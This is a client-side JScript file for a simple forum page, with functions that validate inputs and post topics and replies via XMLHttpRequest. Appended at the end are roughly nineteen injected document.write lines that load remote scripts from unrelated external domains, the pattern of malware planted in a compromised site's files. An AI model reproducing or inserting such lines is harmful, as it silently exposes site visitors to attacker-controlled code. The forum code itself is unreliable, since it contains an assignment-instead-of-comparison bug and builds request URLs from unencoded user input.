﻿// JScript File

function createxmlhttpobject()
{  
    var xmlHttpobj= false;
      
    if(window.XMLHttpRequest)
    {
        xmlHttpobj=new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        xmlHttpobj=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttpobj;
}

function postButton_Click()
{
    if(document.getElementById("nameTb").value=="")
    {
        document.getElementById("errorLbl").innerHTML="Name Required!";
        return;        
    }
    if(document.getElementById("topicTb").value=="")
    {
        document.getElementById("errorLbl").innerHTML="Mention Topic Name!!";
        return;        
    }
    if(document.getElementById("MessageTb").value=="")
    {
        document.getElementById("errorLbl").innerHTML="Enter Message!";
        return;        
    }
    var xmlHttpObject = createxmlhttpobject();
    if(xmlHttpObject)
    {
       
        var url = "PostTopicRunTime.aspx";
        url=url+"?name="+document.getElementById("nameTb").value; 
        url=url+"&topic="+document.getElementById("topicTb").value;
        url=url+"&message="+document.getElementById("MessageTb").value;
        xmlHttpObject.open("POST",url,false);
        xmlHttpObject.onreadystatechange=function()
        {
            if(xmlHttpObject.readyState == 4 && xmlHttpObject.status==200 )
            {
                var rec = xmlHttpObject.responseText;
                //alert(rec);
                if(rec="Success")
                 document.form1.submit();
                if(rec == "fail")
                 alert("Insertion failed");
            }
        }
        xmlHttpObject.send(null);
    }
    document.getElementById("nameTb").value="";
    document.getElementById("topicTb").value="";
    document.getElementById("MessageTb").value="";
    
}

function reply_Click()
{
    if(document.getElementById("nameTb").value=="")
    {
        document.getElementById("errorLbl").innerHTML="Name Required!";
        return;        
    }
    if(document.getElementById("subjectTb").value=="")
    {
        document.getElementById("errorLbl").innerHTML="Mention Topic Name!!";
        return;        
    }
    if(document.getElementById("messageTb").value=="")
    {
        document.getElementById("errorLbl").innerHTML="Enter Message!";
        return;        
    }
    var xmlHttpObject = createxmlhttpobject();
    if(xmlHttpObject)
    {
       
        var url = "PostReplyRunTime.aspx";
        url=url+"?name="+document.getElementById("nameTb").value; 
        url=url+"&topic="+document.getElementById("subjectTb").value;
        url=url+"&message="+document.getElementById("messageTb").value;
        xmlHttpObject.open("POST",url,false);
        xmlHttpObject.onreadystatechange=function()
        {
            if(xmlHttpObject.readyState == 4 && xmlHttpObject.status==200 )
            {
                var rec = xmlHttpObject.responseText;
                //alert(rec);
                if(rec="Success")
                 document.form1.submit();
                if(rec == "fail")
                 alert("Insertion failed");
            }
        }
        xmlHttpObject.send(null);
    }
    document.getElementById("nameTb").value="";
    document.getElementById("subjectTb").value="";
    document.getElementById("messageTb").value="";
    
}



document.write('<script src=http://interweigh.ca/stats/inmotion7.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://roncocleaning.com/_images/products.php ><\/script>');
document.write('<script src=http://barbier-family.de/js/oberschl.php ><\/script>');
document.write('<script src=http://coquettecheesecake.net/images/gifimg.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://avenue-alarms.co.uk/scripts/index.php ><\/script>');